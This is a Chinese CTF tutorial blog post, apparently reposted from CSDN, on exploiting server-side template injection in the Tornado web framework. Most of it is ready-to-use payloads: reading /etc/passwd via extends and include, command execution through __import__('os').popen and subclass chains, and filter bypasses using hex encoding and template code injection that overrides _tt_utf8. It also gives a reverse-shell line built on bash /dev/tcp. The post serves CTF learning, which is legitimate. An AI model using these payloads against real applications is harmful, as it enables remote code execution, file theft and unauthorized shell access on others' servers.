tornado模板注入

引言

在ctf中大多数python的模板注入都是flask,很少会考到tornado。
之前护网杯有一道题easy_tornado也只是用到了handler.settings来获取key值。所以写下此文章来学习及总结下tornado模板注入中rce部分。
想要学模板注入自然得先学模板的语法了,官方文档如下。
https://tornado-zh.readthedocs.io/zh/latest/guide/templates.html

语法

控制语句
和flask类似,tornado中的模板也可以使用for、if、while等控制语句,并且同样使用{%%}进行包裹。其中break continue也可以通过{%%}包裹使用。
但是不同的是结尾为固定的{% end %}
表达式
表达式使用{ {}}进行包裹
定义变量
可以直接通过{ {i=1}}直接赋值,但是更好的方法是通过set

{% set i=1 %}

示例

{% for i in range(10)%}
	{
   
   {i}}
{%end%}
{% if 1>2%}
    1
{%elif 1==2%}
    2
{%else%}
    3
{% end%}
{
   
   {i=10}}
{% while i>1%}
	{
   
   {i}}{
   
   {i=i-1}}
{%end%}

{%set i=10%}
{% while i>1%}
	{
   
   {i}}{
   
   {i=i-1}}
{%end%}

模板继承
在这里插入图片描述

tornado可以使用 extends、include标签声明要继承的模板。
这里我们找到了第一个可以利用的点,就是文件读取。

{% extends "/etc/passwd"%}
{% include "/etc/passwd"%}

引入模块/包

{% import *module* %}
{% from *x* import *y* %}

这个看起来在我们利用中可以起到大作用。
我们知道在模板中是无法直接用os、sys等包的,但是我们通过import引入后呢。我们可以来尝试一下。

{% import os %}
{
   
   {os.popen("ls").read()}}

在这里插入图片描述

完全没问题。

函数与变量

往下阅读可以发现一些可以直接在模板中使用的函数或变量
在这里插入图片描述
我们看看这些里面哪些有助于我们getshell
escape/xhtml_escape
tornado.escape.xhtml_escape别名
转义一个字符串使它在HTML 或XML 中有效.
转义的字符包括<, >, ", ', 和 &.
在这里插入图片描述
url_escape
tornado.escape.url_escape别名
作用是进行url编码。

json_encode
json对指定的python对象进行编码

def json_decode(value):
    return json.loads(to_basestring(value))

squeeze
tornado.escape.squeeze 的别名
使用单个空格代替所有空格字符组成的序列
看下源代码就好理解了

def squeeze(value):
    return re.sub(r"[\x00-\x20]+", " ", value).strip()

linkify
tornado.escape.linkify
转换纯文本为带有链接的HTML
例如linkify("Hello http://tornadoweb.org!") 将返回 Hello <a href="http://tornadoweb.org">http://tornadoweb.org</a>!

前面这些函数似乎没什么利用价值,因为他们大多数是进行编码而非解码。
datetime
Python datetime 模块
比如{ { datetime.date(2022,3,7)}}返回2022-03-07
handler
当前的 RequestHandler 对象,也是tornado中HTTP请求处理的基类.
那么我们可以用这个对象中的什么东西呢,这就得看他的源代码了。内容有点庞大。
可以在里面看到之前用到过的handler.settings
在这里插入图片描述
通过dir将其可调用的内容全部打印出来如下

['SUPPORTED_METHODS', '_INVALID_HEADER_CHAR_RE', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_break_cycles', '_clear_representation_headers', '_convert_header_value', '_decode_xsrf_token', '_execute', '_get_argument', '_get_arguments', '_get_raw_xsrf_token', '_handle_request_exception', '_initialize', '_log', '_remove_control_chars_regex', '_request_summary', '_stream_request_body', '_template_loader_lock', '_template_loaders', '_transforms', '_ui_method', '_ui_module', '_unimplemented_method', 'add_header', 'check_etag_header', 'check_xsrf_cookie', 'clear', 'clear_all_cookies', 'clear_cookie', 'clear_header', 'compute_etag', 'cookies', 'create_signed_value', 'create_template_loader', 'current_user', 'data_received', 'decode_argument', 'delete', 'detach', 'finish', 'flush', 'get', 'get_argument', 'get_arguments', 'get_body_argument', 'get_body_arguments', 'get_browser_locale', 'get_cookie', 'get_current_user', 'get_login_url', 'get_query_argument', 'get_query_arguments', 'get_secure_cookie', 'get_secure_cookie_key_version', 'get_status', 'get_template_namespace', 'get_template_path', 'get_user_locale', 'head', 'initialize', 'locale', 'log_exception', 'on_connection_close', 'on_finish', 'options', 'patch', 'path_args', 'path_kwargs', 'post', 'prepare', 'put', 'redirect', 'render', 'render_embed_css', 'render_embed_js', 'render_linked_css', 'render_linked_js', 'render_string', 'require_setting', 'reverse_url', 'send_error', 'set_cookie', 'set_default_headers', 'set_etag_header', 'set_header', 'set_secure_cookie', 'set_status', 'settings', 'static_url', 'write', 'write_error', 'xsrf_form_html', 'xsrf_token']

这个先按下不表,我们先来套下之前flask模板注入的语法。

{
   
   {"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{
   
   {"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class

经过测试发现这些还是完全可以使用的,毕竟这些都是python中和模板无关的。
我们在看下这个handler,他既然也是个class那是不是可以直接调用__init__初始化方法呢?

{
   
   {handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

没有什么问题。
就是是说没有任何过滤的情况下,tornado和flask的模板注入大体相同。
那如果有过滤呢,这样的话我们就可以考虑考虑之前那一大堆可调用方法了。

{
   
   {handler.get_argument('yu')}}   //比如传入?yu=123则返回值为123
{
   
   {handler.cookies}}  //返回cookie值
{
   
   {handler.get_cookie("data")}}  //返回cookie中data的值
{
   
   {handler.decode_argument('\u0066')}}  //返回f,其中\u0066为f的unicode编码
{
   
   {handler.get_query_argument('yu')}}  //比如传入?yu=123则返回值为123
{
   
   {handler.settings}}  //比如传入application.settings中的值

其他的很多方法也是可以获得一些字符串,这里就不一一列出了。

request

{
   
   {request.method}}  //返回请求方法名  GET|POST|PUT...
{
   
   {request.query}}  //传入?a=123 则返回a=123
{
   
   {request.arguments}}   //返回所有参数组成的字典
{
   
   {request.cookies}}   //同{
   
   {handler.cookies}}
.
.
.

上面提到的两个主要的作用是获取字符串,这样可以绕过对于字符串的过滤。
但是如果对_过滤了怎么办呢?
globals()
python中globals() 函数会以字典类型返回当前位置的全部全局变量。
之前在flask中会发现这个是无法直接调用了,我们来看下在tornado中的情况
在这里插入图片描述
我们可以发现在tornado中是可以直接使用的,更令我们兴奋的是竟然可以直接调用一些python的初始方法,比如__import__、eval、print、hex等
这下似乎我们的payload可以更加简洁了

{
   
   {__import__("os").popen("ls").read()}}
{
   
   {eval('__import__("os").popen("ls").read()')}}

其中第二种方法更多的是为了我们刚才讲到的目的,绕过对_的过滤

{
   
   {eval(handler.get_argument('yu'))}}
?yu=__import__("os").popen("ls").read()

在这里插入图片描述
因为tornado中没有过滤器,这样的话我们想要绕过对于.的过滤就有些困难了。
而如果想要绕过对于引号的过滤,可以将上面的payload改成如下格式

{
   
   {eval(handler.get_argument(request.method))}}

然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理。

最后就是对于()的绕过了,在tornado中,主要处理模板的是其下的template.py文件。
核心处理部分如下
在这里插入图片描述
我们可以随便输入内容然后查看下self.code的内容。
比如传入{ {2-1}}
打印结果如下

def _tt_execute():
    _tt_buffer = []
    _tt_tmp = 2-1
    if isinstance(_tt_tmp, _tt_string_types): 
        _tt_tmp = _tt_utf8(_tt_tmp)
    else: 
        _tt_tmp = _tt_utf8(str(_tt_tmp))
    _tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp))
    _tt_append(_tt_tmp)
    return _tt_utf8('').join(_tt_buffer)

这样我们完全可以让_tt_utf8为我们想执行的函数名。不要忘了加上换行和四个空行缩进。

{
   
   {'print(123)'%0a    _tt_utf8=eval}}

这样尝试后发现代码eval('print(123)')确实执行了,但是是在服务器端,并且我们看到的页面会显示error。
出现这种情况的原因是这两行代码连用

 _tt_tmp = _tt_utf8(_tt_tmp)
 _tt_utf8(xhtml_escape(_tt_tmp))
# xhtml_escape可以看做是一个html编码的函数

等价过来就是

_tt_tmp=eval("print(123)")     #print返回值是None
eval(xhtml_escape(None))     #eval中为空导致报错

那我们就得想个办法避免这种情况了。
比较好的一个方法是使用raw,经过测试发现在使用raw语法后代码_tt_utf8(xhtml_escape(_tt_tmp))会被去掉,这样我们就不必担心上述情况了。
还有最后一个问题在最后一行代码中return _tt_utf8('').join(_tt_buffer)我们如果给_tt_utf8赋值了eval,那么这个地方还是要报错的。
但是也很简单解决,再给_tt_utf8赋值一个不会报错的函数比如str就可以了。

data={% raw "__import__('os').popen('ls').read()"%0a    _tt_utf8 = eval%}{
   
   {'1'%0a    _tt_utf8 = str}}

我们发现上述代码还是存在(),不过是在字符串中,这样我们就好解决多了。
我们可以使用16进制或者unicode编码来代替,下面的代码可以帮助我们直接生成16进制。

print(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('ls').read()"]))

因为我们使用的字符基本都是在ascii码范围内容,所以字符串转unicode的话就直接使用\u00+ascii码

print(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('ls').read()"]).replace('\\x','\\u00'))

总结

tornado中无过滤情况下的可使用的payload

1、读文件
{% extends "/etc/passwd" %}
{% include "/etc/passwd" %}

2、 直接使用函数
{
   
   {__import__("os").popen("ls").read()}}
{
   
   {eval('__import__("os").popen("ls").read()')}}

3、导入库
{% import os %}{
   
   {os.popen("ls").read()}}

4、flask中的payload大部分也通用
{
   
   {"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{
   
   {"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class

5、利用tornado特有的对象或者方法
{
   
   {handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{
   
   {handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}}

6、利用tornado模板中的代码注入
{% raw "__import__('os').popen('ls').read()"%0a    _tt_utf8 = eval%}{
   
   {'1'%0a    _tt_utf8 = str}}

过滤情况

1、过滤一些关键字如import、os、popen等(过滤引号该方法同样适用)
{
   
   {eval(handler.get_argument(request.method))}}
然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理


2、过滤了括号未过滤引号
{% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a    _tt_utf8 = eval%}{
   
   {'1'%0a    _tt_utf8 = str}}

3、过滤括号及引号
下面这种方法无回显,适用于反弹shell,为什么用exec不用eval呢?
是因为eval不支持多行语句。
__import__('os').system('bash -i >& /dev/tcp/xxx/xxx 0>&1')%0a"""%0a&data={%autoescape None%}{% raw request.body%0a    _tt_utf8=exec%}&%0a"""

4、其他
通过参考其他师傅的文章学到了下面的方法(两个是一起使用的)
{
   
   {handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}}
{
   
   {handler.application.default_router.named_rules['345'].target('/readflag').read()}}

参考文章

https://www.qcrane.top/2021/11/29/N1CTF%E5%87%BA%E9%A2%98%E5%B0%8F%E8%AE%B0/#more

https://tornado-zh.readthedocs.io/zh/latest/guide/templates.html

https://www.cnblogs.com/guohan/p/6728188.html

猜你喜欢

转载自blog.csdn.net/miuzzx/article/details/123329244